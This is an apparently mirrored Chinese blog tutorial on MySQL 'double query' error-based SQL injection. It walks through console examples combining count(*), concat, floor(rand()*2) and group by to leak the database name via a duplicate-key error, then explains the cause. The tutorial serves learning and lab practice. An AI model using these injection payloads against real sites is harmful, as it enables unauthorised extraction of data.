zoukankan      html  css  js  c++  java
  • 双查询注入

    其实关于双查询,我是今天才看到这个名词的!它也是报错注入的一种;这是是红黑联盟的一篇文章,介绍了报错注入:http://www.2cto.com/Article/201211/166268.html

    关于双查询,我们首先理解一下子查询;

    mysql> select (select database());
    +---------------------+
    | (select database()) |
    +---------------------+
    | security            |
    +---------------------+
    1 row in set (0.00 sec)
    

     这就是子查询的一种,先执行括号里面的;其实子查询可以简单理解为select 中还有一个select;

    原理:

      rand():随机函数

      floor():取整函数

      count():汇总函数

      group by values:分组函数

      当在一个聚合函数,比如count函数后面使用分组语句就会把查询的一部分以错误的形式显示出来;

    这里我们先展示一个concat函数:

    mysql> select concat((select database()));
    +-----------------------------+
    | concat((select database())) |
    +-----------------------------+
    | security                    |
    +-----------------------------+
    1 row in set (0.00 sec)

    注:concat函数是把两个字符串链接到一起;
    mysql> select concat('a','b');
    +-----------------+
    | concat('a','b') |
    +-----------------+
    | ab              |
    +-----------------+

    接下来我们使用rand()函数

    mysql> select rand();
    +--------------------+
    | rand()             |
    +--------------------+
    | 0.6080478007048814 |
    +--------------------+

    注:rand函数是一个随机函数,所以每次出现的值不一样;会出现0-1之间的值;

    接下来执行floor函数

    mysql> select floor(rand()*2);
    +-----------------+
    | floor(rand()*2) |
    +-----------------+
    |               1 |
    +-----------------+

    注:floor函数是把小数进行取整;

    接下来我们进行注入测试

    mysql> select concat((select database()),floor(rand()*2)) as test from informati
    on_schema.tables group by test;
    +-----------+
    | test      |
    +-----------+
    | security0 |
    | security1 |
    

    最后是最厉害的东西

    mysql> select count(*),concat((select database()),floor(rand()*2)) as test from
    information_schema.tables group by test;
    +----------+-----------+
    | count(*) | test      |
    +----------+-----------+
    |       33 | security0 |
    |       49 | security1 |
    +----------+-----------+
    2 rows in set (0.00 sec)
    
    mysql> select count(*),concat((select database()),floor(rand()*2)) as test from
    information_schema.tables group by test;
    ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'
    

     最后的报错是最重要的地方!重复的键值;

     那么为什么键值会重复呢,就是因为concat函数执行了两次,因为concat是连接两个随机字符串,当第二次执行的时候,有可能会出现与第一次键值重复的情况!那么这种情况下,就会报错!

    也就是:

      使用聚合函数,group by子句,并利用随机函数产生错误运行时,由于涉及的随机函数和聚合函数计算;

      当在一个聚合函数,比如count后面如果使用分组语句就会把查询的一部分以错误形式显示出来;因为concat函数执行两次,比如select database(),这样就执行了两次select database,与后面的随机函数链接在一起,可能会随机重复,就会报错;

    当然大家不用问我MySQL为啥会这样!我也不懂

     

     

    关于原理,经过我和小伙伴不懈努力终于搞定了

    “通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。具体原理参考:http://www.mysqlops.com/2012/05/15/mysql-sql-analyze.html)。”


    结论是:当与临时表里面的值进行比较,如果不同,就插入,但是插入的时候又计算了一次,所以如果插入时计算的值与直接比较的值不一样,则报错!
  • 相关阅读:
    【BZOJ5306】【HAOI2018】—染色(组合数学+NTT)
    【SCOI2018】—Numazu 的蜜柑(二次剩余)
    【SCOI2018】—Numazu 的蜜柑(二次剩余)
    多测师讲解自动化测试_rf节课内容_高级讲师肖sir
    多测师讲解自动化测试 _RF连接数据库_高级讲师肖sir
    多测师讲解自动化 _rf自动化需要总结的问题(2)_高级讲师肖sir
    多测师讲解selenium--常用关键字归纳-_高级讲师肖sir
    多测师讲解自动化测试_rf测试报告_高级讲肖sir
    多测师讲解自动化测试_rf运行无日志(解决方法)_高级讲肖sir
    多测师讲解rf--定位元素--高级讲师肖sir
  • 原文地址:https://www.cnblogs.com/Lzero/p/3980105.html
Copyright © 2011-2022 走看看